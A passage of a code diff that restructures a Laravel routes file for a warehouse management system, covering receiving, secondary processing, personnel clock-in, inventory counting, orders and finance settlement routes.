-        Route::get('cacheRackStorage','StoreController@cacheRackStorage');
-        Route::get('halfChestStorage','StoreController@halfChestStorage');
-        Route::post('putShelf','StorageController@putShelf');
-        Route::post('resetCacheShelf','StorageController@resetCacheShelf');
-        Route::post('setMaximum','StorageController@setMaximum');
-        Route::post('checkMaximum','StorageController@checkMaximum');
-        Route::post('overflowRevision','StorageController@overflowRevision');
-        Route::post('acquireBox','StorageController@acquireBox');
-        Route::post('syncStorage','StorageController@syncStorage');
-    });
-    Route::group(['prefix'=>'fast'],function() {
-        Route::resource('storeItem','StoreItemController');
-    });
-    Route::resource('fast',"StoreController");
-
-    /** 盲收 */
-    Route::group(['prefix'=>'blindReceive'],function(){
-        Route::get('/', function () { return view('store.blindReceive.index');});
-        Route::get('excels', 'StoreBlindReceiveController@index');
-        Route::post('excels/apiStore', 'StoreBlindReceiveController@apiStore');
-    });
-
-    /** 盘收 */
-    Route::group(['prefix'=>'checkingReceive'],function(){
-        Route::group(['prefix'=>'mission'],function(){
-            Route::post('import','StoreCheckingReceiveController@import');
-            Route::get('export','StoreCheckingReceiveController@export');
-            Route::post('resetAmount','StoreCheckingReceiveController@resetAmount');
-            Route::post('matchASN','StoreCheckingReceiveController@matchASN');
-            Route::post('receipt','StoreCheckingReceiveController@receipt');
-            Route::get('{id}','StoreCheckingReceiveController@show');
-        });
-        Route::post('updateCountedAmount','StoreCheckingReceiveController@updateCountedAmount');
-        Route::post('insertItem','StoreCheckingReceiveController@insertItem');
-        Route::get('mission','StoreCheckingReceiveController@mission');
-        Route::post('destroyItem','StoreCheckingReceiveController@destroyItem');
-    });
-
-    /** 入库预约 */
-    Route::group(['prefix'=>'deliveryAppointment'],function(){
-        Route::get('appointment','DeliveryAppointmentController@appointment');
-        Route::post('getCapacity','DeliveryAppointmentController@getCapacity');
-        Route::post('submitAppointment','DeliveryAppointmentController@submitAppointment');
-        Route::get('showAppointmentInfo','DeliveryAppointmentController@showAppointmentInfo');
-        Route::get('list','DeliveryAppointmentController@list');
-        Route::get('delivery','DeliveryAppointmentController@delivery');
-        Route::get('errMsg','DeliveryAppointmentController@errMsg');
-        Route::get('successMsg','DeliveryAppointmentController@successMsg');
-        Route::post('delivery','DeliveryAppointmentController@checkAppointment');
-        Route::post('cancel','DeliveryAppointmentController@cancel');
-        Route::post('unloading','DeliveryAppointmentController@unloading');
-        Route::post('signIn','DeliveryAppointmentController@signIn');
-        Route::any('export','DeliveryAppointmentController@export');
-        Route::post('getExhibitionList','DeliveryAppointmentController@getExhibitionList');
-        Route::post('getKey','DeliveryAppointmentController@getKey');
-        Route::get('exhibition','DeliveryAppointmentController@exhibition');
-        Route::get('qrcode',function (){
-            if(!Gate::allows('入库管理-入库预约-二维码')){ return view("exception.authority");  }
-            return view("store.deliveryAppointment.qrcode");
-        });
-        Route::group(['prefix'=>'appointment'],function(){
-            Route::post('import','DeliveryAppointmentController@import');
-        });
-        Route::get('capacityMaintenance','DeliveryAppointmentController@capacityMaintenance');
-        Route::post('updateCapacity','DeliveryAppointmentController@updateCapacity');
-        Route::post('verifyASN','DeliveryAppointmentController@verifyASN');
-        Route::post('updateAppointment','DeliveryAppointmentController@updateAppointment');
-        Route::post('qualityInspectionMark','DeliveryAppointmentController@qualityInspectionMark');
-    });
-});
-
-/** 二次加工 */
-Route::group(['prefix'=>'process'],function(){
-    /** 统计 */
-    Route::group(['prefix'=>'statistic'],function(){
-        Route::any("export",'ProcessStatisticController@export');
-    });
-
-    Route::get('relating',function (){return view('process.menuProcess');});
-    Route::get("statistic",'ProcessStatisticController@index');
-    Route::post('getDailyParticipant','ProcessController@getDailyParticipant');
-    Route::post('reject/{id}','ProcessController@reject');
-    Route::post('receive/{id}','ProcessController@receive');
-    Route::post('accomplish','ProcessController@accomplish');
-    Route::post('updateDailyOutput','ProcessController@updateDailyOutput');
-    Route::post('storeProcessDailyParticipant','ProcessController@storeProcessDailyParticipant');
-    Route::post('verifyUserName','ProcessController@verifyUserName');
-    Route::post('updateProcessDailyParticipant','ProcessController@updateProcessDailyParticipant');
-    Route::post('processDailyParticipantAudit/{id}','ProcessController@processDailyParticipantAudit');
-    Route::post('getTutorials/{id}','ProcessController@getTutorials');
-    Route::post('selectedTutorial','ProcessController@selectedTutorial');
-    Route::post('deleteTutorial','ProcessController@deleteTutorial');
-    Route::post('ownerGetTutorials/{owner_id}','ProcessController@ownerGetTutorials');
-    Route::post('rollback','ProcessController@rollback');
-    Route::get('recycle','ProcessController@recycle');
-    Route::post('recover','ProcessController@recover');
-    Route::post('audit','ProcessController@audit');
-    Route::post('processAccomplish','ProcessController@processAccomplish');
-    Route::post('checkAndAccept','ProcessController@checkAndAccept');
-    Route::post('updateUnitPrice','ProcessController@updateUnitPrice');
-    Route::post('workGroupVerify','ProcessController@workGroupVerify');
-    Route::post('accountantVerify','ProcessController@accountantVerify');
-    Route::post('updateStartDate','ProcessController@updateStartDate');
-    Route::post('updateEndDate','ProcessController@updateEndDate');
-    Route::delete('destroyDailyParticipant/{id}','ProcessController@destroyDailyParticipant');
-    Route::post('importPasteData','ProcessController@importPasteData');
-    Route::any('export','ProcessController@export');
-    Route::post('deleteProcessContent/{id}','ProcessController@deleteProcessContent');
-});
-Route::resource('process','ProcessController');
-
-
-/** 人事 */
-Route::group(['prefix'=>'personnel'],function(){
-    /** 绩效 */
-    Route::group(['prefix'=>'report'],function(){
-        Route::match(['GET','POST'],'export','CustomerController@projectReportExport');
-    });
-    Route::get('report','CustomerController@projectReport');
-    /** 打卡 */
-    Route::group(['prefix'=>'checking-in'],function(){
-        /** 打卡记录 */
-        Route::group(['prefix'=>'userDutyCheck'],function(){
-            Route::get('importAndExportClock','UserDutyCheckController@importAndExportClock');
-            Route::get('clock','UserDutyCheckController@clock');
-            Route::any('storeClock','UserDutyCheckController@storeClock');
-            Route::post('绑定临时工并进组','UserDutyCheckController@绑定临时工并进组');
-            Route::post('importGroupClock','UserDutyCheckController@importGroupClock');
-            Route::get('createUserDetail/{mobile_phone}','UserDutyCheckController@createUserDetail');
-            Route::get('updateUserLaborCompanies/{mobile_phone}','UserDutyCheckController@updateUserLaborCompanies');
-            Route::any('storeUserDetail','UserDutyCheckController@storeUserDetail');
-            Route::any('storeUpdateUserLaborCompanies','UserDutyCheckController@storeUpdateUserLaborCompanies');
+        /** 异常 */
+        Route::group(['prefix'=>'weightExcepted'],function(){
+            Route::get('indexCreate','WeighExceptedController@indexCreate');
+            Route::get('indexIssued','WeighExceptedController@indexIssued');
+            Route::any('export/{type}','WeighExceptedController@export');
         });
 
-        Route::get('goGetQRCode','QRCodeController@goGetQRCode');
-        Route::get('QRCode','QRCodeController@QRCode');
-        Route::get('importAndExportQRCode','QRCodeController@importAndExportQRCode');
-        Route::post('refreshQRCode','QRCodeController@refreshQRCode');
-        Route::get('createReplenishClock','PersonnelController@createReplenishClock');
-        Route::post('checkUserLabors','PersonnelController@checkUserLabors');
-        Route::post('storeReplenishClock','PersonnelController@storeReplenishClock');
-        Route::get('clockAudit','PersonnelController@clockAudit');
-        Route::get('missionAudit','PersonnelController@missionAudit');
-        Route::post('storeClockAudit','PersonnelController@storeClockAudit');
-        Route::post('updateDutyCheckType','PersonnelController@updateDutyCheckType');
-        Route::post('storeGroupAudit','PersonnelController@storeGroupAudit');
-        Route::post('isException','PersonnelController@isException');
-        Route::post('storeMissionAudit','PersonnelController@storeMissionAudit');
-    });
+        Route::any('export','WeighController@export');
+        Route::get('statistics','WeighController@statistics');
+        Route::get('relating', function () {return view('package.measureMonitor.menu');});
 
-    Route::get('relating',function (){return view('personnel/menuPersonnel');});
+        Route::resource('measureMonitor','MeasureMonitorController');
 
-    Route::group(['prefix'=>'discharge'],function(){
-        /** 卸货任务 */
-        Route::group(['prefix'=>'task'],function(){
-            Route::get('index','DischargeTaskController@index');
-            Route::any('export','DischargeTaskController@export');
-            Route::any('receipt','DischargeTaskController@receipt');
-        });
-        /** 结算报表 */
-        Route::group(['prefix'=>'statement'],function(){
-            Route::get('index','DischargeTaskController@statementIndex');
-            Route::any('export','DischargeTaskController@exportStatements');
+        Route::group(['prefix'=>'measureMonitor'],function(){
+            Route::post('data','MeasureMonitorController@data');
         });
-        /** 服务商  对账单*/
-        Route::group(['prefix'=>'facilitator'],function(){
-            Route::get('index','FacilitatorController@statementIndex');
-            Route::any('export','FacilitatorController@exportStatement');
-            Route::get('qrCode','FacilitatorController@getQrCode');
-            Route::group(['prefix'=> 'external'],function(){
-                Route::get('{id}/index','FacilitatorExternalController@index');
-                Route::any('{id}/export','FacilitatorExternalController@export');
+        Route::group(['prefix' => 'weigh'], function () {
+            Route::get('statistics','WeighController@statistics');
+            /** 设备 */
+            Route::group(['prefix'=>'measureMonitor'],function(){
+                Route::post('data','MeasureMonitorController@data');
+            });
+            /** 统计 */
+            Route::group(['prefix'=>'statistics'],function(){
+                Route::any('export','WeighController@statisticsExport');
             });
         });
-    });
-    /** 临时工报表 */
-    Route::group(['prefix'=>'laborReport'],function(){
-        Route::get('index','LaborReportController@index');
-        Route::post('recover','LaborReportController@recover');
-        Route::get('recycle','LaborReportController@recycle');
-        Route::post('guardClockAudit','LaborReportController@guardClockAudit');
-        Route::post('groupClockAudit','LaborReportController@groupClockAudit');
-        Route::post('addRemarkAndGroupClock','LaborReportController@addRemarkAndGroupClock');
-        Route::post('groupExport','LaborReportController@groupExport');
-        Route::post('groupExportEnsure','LaborReportController@groupExportEnsure');
-        Route::any('export','LaborReportController@export');
-        Route::post('updateLaborCompany','LaborReportController@updateLaborCompany');
-        Route::any('删除/{id}','LaborReportController@删除');
-        Route::post('changeLaborReportRemark', 'LaborReportController@changeLaborReportRemark');
-    });
-});
-
-
-
-/** 库存 */
-Route::group(['prefix'=>'inventory'],function(){
-    /** 说明 */
-    Route::group(['prefix'=>'statement'],function(){
-        /** 动库报表 */
-        Route::group(['prefix'=>'changeInventory'],function(){
-            Route::any('export','InventoryController@exportData');
-            Route::get('downLoadExcel','InventoryController@downLoadExcel');
-            Route::post('deleteExcel','InventoryController@deleteExcel');
-        });
-        Route::get('changeInventory','InventoryController@changeInventory');
-        /** 全部库存 */
-        Route::group(['prefix'=>'allInventory'],function(){
-            Route::any('export','InventoryController@exportAllInventory');
-        });
-        Route::get('allInventory','InventoryController@allInventory');
-        /** 每日记录 */
-        Route::group(['prefix'=>'dailyLog'],function(){
-            Route::any('export','InventoryController@exportDailyLog');
-            Route::post('getLoggingOwner','InventoryController@getLoggingOwner');
-            Route::post('addLoggingOwner','InventoryController@addLoggingOwner');
-        });
-        Route::get('dailyLog','InventoryController@dailyLog');
-
-        Route::get('inventoryCompare','InventoryCompareController@inventoryCompare');
-        Route::any('inventoryCompare/export','InventoryCompareController@exportInventoryCompare');
-    });
-    /** 库存盘点 */
-    Route::group(['prefix'=>'stockInventory'],function(){
-        Route::get('mission','InventoryAccountController@mission');
-        Route::any('enterStockInventory/{id}','InventoryAccountController@enterStockInventory');
-        Route::any('inventoryAccountMission/export','InventoryAccountController@exportInventoryAccountMission');
-        Route::get('mission','InventoryAccountController@mission');
-        Route::post('createStockInventoryMission','InventoryAccountController@createStockInventoryMission');
-        Route::post('searchCommodityByBarcode','InventoryAccountController@searchCommodityByBarcode');
-        Route::get('blindReceive/{id}','InventoryAccountController@enterBlindReceive');
-        Route::post('baseOnBlindReceive','InventoryAccountController@baseOnBlindReceive');
-        Route::post('batchStockByLocation','InventoryAccountController@batchStockByLocation');
-    });
-    /** 库存比对 */
-    Route::group(['prefix'=>'inventoryCompare'],function(){
-        /** excel */
-        Route::group(['prefix'=>'import'],function(){
-            Route::post('excel','InventoryCompareController@importExcel');
+        Route::get('weigh/index','WeighController@index');
+        Route::resource('weigh','WeighController');
+        Route::put('logistic/batchUpdate','PackageLogisticController@batchUpdate');
+        Route::any('logistic/export','PackageLogisticController@export');
+        Route::resource('logistic','PackageLogisticController');
+    });
+    $route->resource('package','WeighController');
+    /** 入库 */
+    $route->group(['prefix'=>'store'],function(){
+        Route::group(['prefix'=>'inStorage'],function() {
+            Route::get('index','StoreController@storage');
+            Route::get('cacheRackStorage','StoreController@cacheRackStorage');
+            Route::get('halfChestStorage','StoreController@halfChestStorage');
+            Route::post('putShelf','StorageController@putShelf');
+            Route::post('resetCacheShelf','StorageController@resetCacheShelf');
+            Route::post('setMaximum','StorageController@setMaximum');
+            Route::post('checkMaximum','StorageController@checkMaximum');
+            Route::post('overflowRevision','StorageController@overflowRevision');
+            Route::post('acquireBox','StorageController@acquireBox');
+            Route::post('syncStorage','StorageController@syncStorage');
+            Route::post('checkAsnAmount','StorageController@checkAsnAmount');
+            Route::get('android.index',function (){if (!Auth::user())return view("store.inStorage.login");return view('store.inStorage.androidIndex');});
+            Route::post('android.login','StorageController@androidLogin');
+        });
+        Route::group(['prefix'=>'fast'],function() {
+            Route::resource('storeItem','StoreItemController');
+        });
+        Route::resource('fast',"StoreController");
+        /** 盲收 */
+        Route::group(['prefix'=>'blindReceive'],function(){
+            Route::get('/', function () { return view('store.blindReceive.index');});
+            Route::get('excels', 'StoreBlindReceiveController@index');
+            Route::post('excels/apiStore', 'StoreBlindReceiveController@apiStore');
+        });
+        /** 盘收 */
+        Route::group(['prefix'=>'checkingReceive'],function(){
+            Route::group(['prefix'=>'mission'],function(){
+                Route::post('import','StoreCheckingReceiveController@import');
+                Route::get('export','StoreCheckingReceiveController@export');
+                Route::post('resetAmount','StoreCheckingReceiveController@resetAmount');
+                Route::post('matchASN','StoreCheckingReceiveController@matchASN');
+                Route::post('receipt','StoreCheckingReceiveController@receipt');
+                Route::get('{id}','StoreCheckingReceiveController@show');
+            });
+            Route::post('updateCountedAmount','StoreCheckingReceiveController@updateCountedAmount');
+            Route::post('insertItem','StoreCheckingReceiveController@insertItem');
+            Route::get('mission','StoreCheckingReceiveController@mission');
+            Route::post('destroyItem','StoreCheckingReceiveController@destroyItem');
+        });
+        /** 入库预约 */
+        Route::group(['prefix'=>'deliveryAppointment'],function(){
+            Route::get('appointment','DeliveryAppointmentController@appointment');
+            Route::post('getCapacity','DeliveryAppointmentController@getCapacity');
+            Route::post('submitAppointment','DeliveryAppointmentController@submitAppointment');
+            Route::get('showAppointmentInfo','DeliveryAppointmentController@showAppointmentInfo');
+            Route::get('list','DeliveryAppointmentController@list');
+            Route::post('delivery','DeliveryAppointmentController@checkAppointment');
+            Route::post('cancel','DeliveryAppointmentController@cancel');
+            Route::post('unloading','DeliveryAppointmentController@unloading');
+            Route::post('signIn','DeliveryAppointmentController@signIn');
+            Route::any('export','DeliveryAppointmentController@export');
+            Route::get('qrcode',function (){
+                if(!Gate::allows('入库管理-入库预约-二维码')){ return view("exception.authority");  }
+                return view("store.deliveryAppointment.qrcode");
+            });
+            Route::group(['prefix'=>'appointment'],function(){
+                Route::post('import','DeliveryAppointmentController@import');
+            });
+            Route::get('capacityMaintenance','DeliveryAppointmentController@capacityMaintenance');
+            Route::post('updateCapacity','DeliveryAppointmentController@updateCapacity');
+            Route::post('verifyASN','DeliveryAppointmentController@verifyASN');
+            Route::post('updateAppointment','DeliveryAppointmentController@updateAppointment');
+            Route::post('qualityInspectionMark','DeliveryAppointmentController@qualityInspectionMark');
         });
     });
-
-    Route::get('syncOwners','InventoryAccountController@syncOwners');
-    Route::post('inventoryChecked','InventoryAccountController@inventoryChecked');
-    Route::any('删除盘点记录','InventoryAccountController@删除盘点记录');
-    Route::post('跳过盘点记录','InventoryAccountController@跳过盘点记录');
-    Route::post('确认盘点差异','InventoryAccountController@确认盘点差异');
-    Route::post('批量跳过或确认差异','InventoryAccountController@批量跳过或确认差异');
-    Route::get('完结盘点任务/{id}','InventoryAccountController@完结盘点任务');
-    Route::post('修改质量状态','InventoryAccountController@修改质量状态');
-    Route::post('增加系统之外的盘点记录','InventoryAccountController@增加系统之外的盘点记录');
-    Route::post('盘点选中任务','InventoryAccountController@盘点选中任务');
-    Route::post('stockInventoryEnd','InventoryAccountController@stockInventoryEnd');
-    Route::any('deleteStockInventoryMission/{id}','InventoryAccountController@deleteStockInventoryMission');
-    Route::any('stockInventoryExport','InventoryAccountController@stockInventoryExport');
-    Route::any('stockInventory','InventoryAccountController@stockInventory');
-    Route::post('searchStockInventoryRecord','InventoryAccountController@searchStockInventoryRecord');
-});
-
-
-/** 订单 */
-Route::group(['prefix'=>'order'],function(){
-    /** 主页 */
-    Route::group(['prefix'=>'index'],function(){
-        Route::get('delivering','OrderController@delivering');
-        Route::get('commodityAssign','OrderCommodityAssignController@index');
-        Route::match(['get','post'],'export','OrderController@export');
-
-        Route::group(['prefix'=>'commodityAssign'],function(){
-            Route::post('import','OrderCommodityAssignController@import');
-        });
-
-        Route::group(['prefix'=>'freeze'],function(){
-            Route::post('delFreeze','OrderFreezeController@delFreeze');
+    /** 二次加工 */
+    $route->group(['prefix'=>'process'],function(){
+        /** 统计 */
+        Route::group(['prefix'=>'statistic'],function(){
+            Route::any("export",'ProcessStatisticController@export');
+        });
+        Route::get('relating',function (){return view('process.menuProcess');});
+        Route::get("statistic",'ProcessStatisticController@index');
+        Route::post('getDailyParticipant','ProcessController@getDailyParticipant');
+        Route::post('reject/{id}','ProcessController@reject');
+        Route::post('receive/{id}','ProcessController@receive');
+        Route::post('accomplish','ProcessController@accomplish');
+        Route::post('updateDailyOutput','ProcessController@updateDailyOutput');
+        Route::post('storeProcessDailyParticipant','ProcessController@storeProcessDailyParticipant');
+        Route::post('verifyUserName','ProcessController@verifyUserName');
+        Route::post('updateProcessDailyParticipant','ProcessController@updateProcessDailyParticipant');
+        Route::post('processDailyParticipantAudit/{id}','ProcessController@processDailyParticipantAudit');
+        Route::post('getTutorials/{id}','ProcessController@getTutorials');
+        Route::post('selectedTutorial','ProcessController@selectedTutorial');
+        Route::post('deleteTutorial','ProcessController@deleteTutorial');
+        Route::post('ownerGetTutorials/{owner_id}','ProcessController@ownerGetTutorials');
+        Route::post('rollback','ProcessController@rollback');
+        Route::get('recycle','ProcessController@recycle');
+        Route::post('recover','ProcessController@recover');
+        Route::post('audit','ProcessController@audit');
+        Route::post('processAccomplish','ProcessController@processAccomplish');
+        Route::post('checkAndAccept','ProcessController@checkAndAccept');
+        Route::post('updateUnitPrice','ProcessController@updateUnitPrice');
+        Route::post('workGroupVerify','ProcessController@workGroupVerify');
+        Route::post('accountantVerify','ProcessController@accountantVerify');
+        Route::post('updateStartDate','ProcessController@updateStartDate');
+        Route::post('updateEndDate','ProcessController@updateEndDate');
+        Route::delete('destroyDailyParticipant/{id}','ProcessController@destroyDailyParticipant');
+        Route::post('importPasteData','ProcessController@importPasteData');
+        Route::any('export','ProcessController@export');
+        Route::post('deleteProcessContent/{id}','ProcessController@deleteProcessContent');
+    });
+    $route->resource('process','ProcessController');
+    /** 人事 */
+    $route->group(['prefix'=>'personnel'],function(){
+        /** 绩效 */
+        Route::group(['prefix'=>'report'],function(){
+            Route::match(['GET','POST'],'export','CustomerController@projectReportExport');
+        });
+        Route::get('report','CustomerController@projectReport');
+        /** 打卡 */
+        Route::group(['prefix'=>'checking-in'],function(){
+            /** 打卡记录 */
+            Route::group(['prefix'=>'userDutyCheck'],function(){
+                Route::get('importAndExportClock','UserDutyCheckController@importAndExportClock');
+                Route::get('clock','UserDutyCheckController@clock');
+                Route::any('storeClock','UserDutyCheckController@storeClock');
+                Route::post('绑定临时工并进组','UserDutyCheckController@绑定临时工并进组');
+                Route::post('importGroupClock','UserDutyCheckController@importGroupClock');
+                Route::get('createUserDetail/{mobile_phone}','UserDutyCheckController@createUserDetail');
+                Route::get('updateUserLaborCompanies/{mobile_phone}','UserDutyCheckController@updateUserLaborCompanies');
+                Route::any('storeUserDetail','UserDutyCheckController@storeUserDetail');
+                Route::any('storeUpdateUserLaborCompanies','UserDutyCheckController@storeUpdateUserLaborCompanies');
+            });
+            Route::get('createReplenishClock','PersonnelController@createReplenishClock');
+            Route::post('checkUserLabors','PersonnelController@checkUserLabors');
+            Route::post('storeReplenishClock','PersonnelController@storeReplenishClock');
+            Route::get('clockAudit','PersonnelController@clockAudit');
+            Route::get('missionAudit','PersonnelController@missionAudit');
+            Route::post('storeClockAudit','PersonnelController@storeClockAudit');
+            Route::post('updateDutyCheckType','PersonnelController@updateDutyCheckType');
+            Route::post('storeGroupAudit','PersonnelController@storeGroupAudit');
+            Route::post('isException','PersonnelController@isException');
+            Route::post('storeMissionAudit','PersonnelController@storeMissionAudit');
+        });
+        Route::get('relating',function (){return view('personnel/menuPersonnel');});
+        Route::group(['prefix'=>'discharge'],function(){
+            /** 卸货任务 */
+            Route::group(['prefix'=>'task'],function(){
+                Route::get('index','DischargeTaskController@index');
+                Route::any('export','DischargeTaskController@export');
+                Route::any('receipt','DischargeTaskController@receipt');
+            });
+            /** 结算报表 */
+            Route::group(['prefix'=>'statement'],function(){
+                Route::get('index','DischargeTaskController@statementIndex');
+                Route::any('export','DischargeTaskController@exportStatements');
+            });
+            /** 服务商  对账单*/
+            Route::group(['prefix'=>'facilitator'],function(){
+                Route::get('index','FacilitatorController@statementIndex');
+                Route::any('export','FacilitatorController@exportStatement');
+                Route::get('qrCode','FacilitatorController@getQrCode');
+                Route::group(['prefix'=> 'external'],function(){
+                    Route::get('{id}/index','FacilitatorExternalController@index');
+                    Route::any('{id}/export','FacilitatorExternalController@export');
+                });
+            });
         });
-        Route::resource('freeze','OrderFreezeController');
-    });
-    /** 创建 */
-    Route::group(['prefix'=>'create'],function(){
-        Route::post('batchComments','OrderController@batchComments');
-    });
-    /** 波次 */
-    Route::group(['prefix'=>'wave'],function(){
-        Route::get('index','WaveController@index');
-        Route::post('cancelPrinting','WaveController@cancelPrinting');
-        Route::any('exportExcel','WaveController@exportExcelOnParams');
-        Route::post('repairBatch','WaveController@repairBatch');
-    });
-    /** 问题件 */
-    Route::group(['prefix'=>'issue'],function(){
-        /** 工作量 */
-        Route::group(['prefix'=>'workLoad'],function(){
-            Route::get('index','OrderIssuePerformanceController@workLoadPage');
-            Route::any('export','OrderIssuePerformanceController@exportWorkLoad');
+        /** 临时工报表 */
+        Route::group(['prefix'=>'laborReport'],function(){
+            Route::get('index','LaborReportController@index');
+            Route::post('recover','LaborReportController@recover');
+            Route::get('recycle','LaborReportController@recycle');
+            Route::post('guardClockAudit','LaborReportController@guardClockAudit');
+            Route::post('groupClockAudit','LaborReportController@groupClockAudit');
+            Route::post('addRemarkAndGroupClock','LaborReportController@addRemarkAndGroupClock');
+            Route::post('groupExport','LaborReportController@groupExport');
+            Route::post('groupExportEnsure','LaborReportController@groupExportEnsure');
+            Route::any('export','LaborReportController@export');
+            Route::post('updateLaborCompany','LaborReportController@updateLaborCompany');
+            Route::any('删除/{id}','LaborReportController@删除');
+            Route::post('changeLaborReportRemark', 'LaborReportController@changeLaborReportRemark');
+        });
+    });
+    /** 库存 */
+    $route->group(['prefix'=>'inventory'],function(){
+        /** 说明 */
+        Route::group(['prefix'=>'statement'],function(){
+            /** 动库报表 */
+            Route::group(['prefix'=>'changeInventory'],function(){
+                Route::any('export','InventoryController@exportData');
+                Route::get('downLoadExcel','InventoryController@downLoadExcel');
+                Route::post('deleteExcel','InventoryController@deleteExcel');
+            });
+            Route::get('changeInventory','InventoryController@changeInventory');
+            /** 全部库存 */
+            Route::group(['prefix'=>'allInventory'],function(){
+                Route::any('export','InventoryController@exportAllInventory');
+            });
+            Route::get('allInventory','InventoryController@allInventory');
+            /** 每日记录 */
+            Route::group(['prefix'=>'dailyLog'],function(){
+                Route::any('export','InventoryController@exportDailyLog');
+                Route::post('getLoggingOwner','InventoryController@getLoggingOwner');
+                Route::post('addLoggingOwner','InventoryController@addLoggingOwner');
+            });
+            Route::get('dailyLog','InventoryController@dailyLog');
+            Route::get('inventoryCompare','InventoryCompareController@inventoryCompare');
+            Route::any('inventoryCompare/export','InventoryCompareController@exportInventoryCompare');
+        });
+        /** 库存盘点 */
+        Route::group(['prefix'=>'stockInventory'],function(){
+            Route::get('mission','InventoryAccountController@mission');
+            Route::any('enterStockInventory/{id}','InventoryAccountController@enterStockInventory');
+            Route::any('inventoryAccountMission/export','InventoryAccountController@exportInventoryAccountMission');
+            Route::get('mission','InventoryAccountController@mission');
+            Route::post('createStockInventoryMission','InventoryAccountController@createStockInventoryMission');
+            Route::post('searchCommodityByBarcode','InventoryAccountController@searchCommodityByBarcode');
+            Route::get('blindReceive/{id}','InventoryAccountController@enterBlindReceive');
+            Route::post('baseOnBlindReceive','InventoryAccountController@baseOnBlindReceive');
+            Route::post('batchStockByLocation','InventoryAccountController@batchStockByLocation');
+        });
+        /** 库存比对 */
+        Route::group(['prefix'=>'inventoryCompare'],function(){
+            /** excel */
+            Route::group(['prefix'=>'import'],function(){
+                Route::post('excel','InventoryCompareController@importExcel');
+            });
         });
-        /** 绩效 */
-        Route::group(['prefix'=>'orderIssuePerformance'],function(){
-            Route::get('index','OrderIssuePerformanceController@index');
-            Route::any('export','OrderIssuePerformanceController@export');
+        Route::get('syncOwners','InventoryAccountController@syncOwners');
+        Route::post('inventoryChecked','InventoryAccountController@inventoryChecked');
+        Route::any('删除盘点记录','InventoryAccountController@删除盘点记录');
+        Route::post('跳过盘点记录','InventoryAccountController@跳过盘点记录');
+        Route::post('确认盘点差异','InventoryAccountController@确认盘点差异');
+        Route::post('批量跳过或确认差异','InventoryAccountController@批量跳过或确认差异');
+        Route::get('完结盘点任务/{id}','InventoryAccountController@完结盘点任务');
+        Route::post('修改质量状态','InventoryAccountController@修改质量状态');
+        Route::post('增加系统之外的盘点记录','InventoryAccountController@增加系统之外的盘点记录');
+        Route::post('盘点选中任务','InventoryAccountController@盘点选中任务');
+        Route::post('stockInventoryEnd','InventoryAccountController@stockInventoryEnd');
+        Route::any('deleteStockInventoryMission/{id}','InventoryAccountController@deleteStockInventoryMission');
+        Route::any('stockInventoryExport','InventoryAccountController@stockInventoryExport');
+        Route::any('stockInventory','InventoryAccountController@stockInventory');
+        Route::post('searchStockInventoryRecord','InventoryAccountController@searchStockInventoryRecord');
+    });
+    /** 订单 */
+    $route->group(['prefix'=>'order'],function(){
+        /** 主页 */
+        Route::group(['prefix'=>'index'],function(){
+            Route::get('delivering','OrderController@delivering');
+            Route::get('commodityAssign','OrderCommodityAssignController@index');
+            Route::match(['get','post'],'export','OrderController@export');
+            Route::group(['prefix'=>'commodityAssign'],function(){
+                Route::post('import','OrderCommodityAssignController@import');
+            });
+            Route::group(['prefix'=>'freeze'],function(){
+                Route::post('delFreeze','OrderFreezeController@delFreeze');
+            });
+            Route::resource('freeze','OrderFreezeController');
+        });
+        /** 创建 */
+        Route::group(['prefix'=>'create'],function(){
+            Route::post('batchComments','OrderController@batchComments');
+        });
+        /** 波次 */
+        Route::group(['prefix'=>'wave'],function(){
+            Route::get('index','WaveController@index');
+            Route::post('cancelPrinting','WaveController@cancelPrinting');
+            Route::any('exportExcel','WaveController@exportExcelOnParams');
+            Route::post('repairBatch','WaveController@repairBatch');
+        });
+        /** 问题件 */
+        Route::group(['prefix'=>'issue'],function(){
+            /** 工作量 */
+            Route::group(['prefix'=>'workLoad'],function(){
+                Route::get('index','OrderIssuePerformanceController@workLoadPage');
+                Route::any('export','OrderIssuePerformanceController@exportWorkLoad');
+            });
+            /** 绩效 */
+            Route::group(['prefix'=>'orderIssuePerformance'],function(){
+                Route::get('index','OrderIssuePerformanceController@index');
+                Route::any('export','OrderIssuePerformanceController@export');
+            });
+            Route::get('index','OrderIssueController@index');
+            Route::get('create','OrderIssueController@create');
+            Route::post('store','OrderIssueController@store');
+            Route::post('batchImport','OrderIssueController@batchImport');
+            Route::get('excelImport','OrderIssueController@excelImport');
+            Route::get('edit/{id}','OrderIssueController@edit');
+            Route::get('recycle','OrderIssueController@recycleBin');
+            Route::match(['get','post'],'export','OrderIssueController@exportJsonExcel');
+        });
+        /** 跟踪 */
+        Route::group(['prefix'=>'tracking'],function(){
+            Route::get('index',"OrderTrackingController@index");
+            Route::any('export',"OrderTrackingController@export");
+            Route::get('update','OrderTrackingController@updateApi');
+            Route::post('upload','OrderTrackingController@upload');
+            Route::post('destroyImg','OrderTrackingController@destroyImg');
+        });
+        Route::post('freeze','OrderController@freeze');
+        Route::post('freezeAll','OrderController@freezeAll');
+        Route::post('thaw','OrderController@thaw');
+        Route::post('deAllocation','OrderController@deAllocation');
+        Route::post('deAllocationAll','OrderController@deAllocationAll');
+        Route::post('resetLogisticsGetMark','OrderController@resetLogisticsGetMark');
+        Route::post('resetInterfaceReturnMark','OrderController@resetInterfaceReturnMark');
+        Route::post('createRejectedBill','OrderController@createRejectedBill');
+        Route::post('isRejectedBillExist','OrderController@isRejectedBillExist');
+    });
+    /** 结算 */
+    $route->group(['prefix'=>'finance'],function(){
+        Route::group(['prefix'=>'instantBill'],function(){
+            Route::match(['GET','POST'],'export','CustomerController@financeInstantBillExport');
+        });
+        Route::get('instantBill','CustomerController@financeInstantBill');
+        Route::group(['prefix'=>'billConfirmation'],function(){
+            Route::match(['GET','POST'],'export','CustomerController@financeBillConfirmationExport');
+        });
+        Route::get('billConfirmation','CustomerController@financeBillConfirmation');
+        Route::post('updateBillReport','CustomerController@updateBillReport');
+        Route::post('billConfirm','CustomerController@billConfirm');
+        Route::group(['prefix'=>'settlementBills'],function(){
+            Route::group(['prefix' => 'logisticFee'], function () {
+                Route::post('detail/confirmBill', 'OwnerLogisticFeeDetailController@confirmBill');
+                Route::post('report/confirmBill', 'OwnerLogisticFeeReportController@confirmBill');
+                Route::any('detail/export', 'OwnerLogisticFeeDetailController@export');
+                Route::any('report/export', 'OwnerLogisticFeeReportController@export');
+                Route::resource('detail', 'OwnerLogisticFeeDetailController', ['only' => ['index']]);
+                Route::resource('report', 'OwnerLogisticFeeReportController', ['only' => ['index']]);
+            });
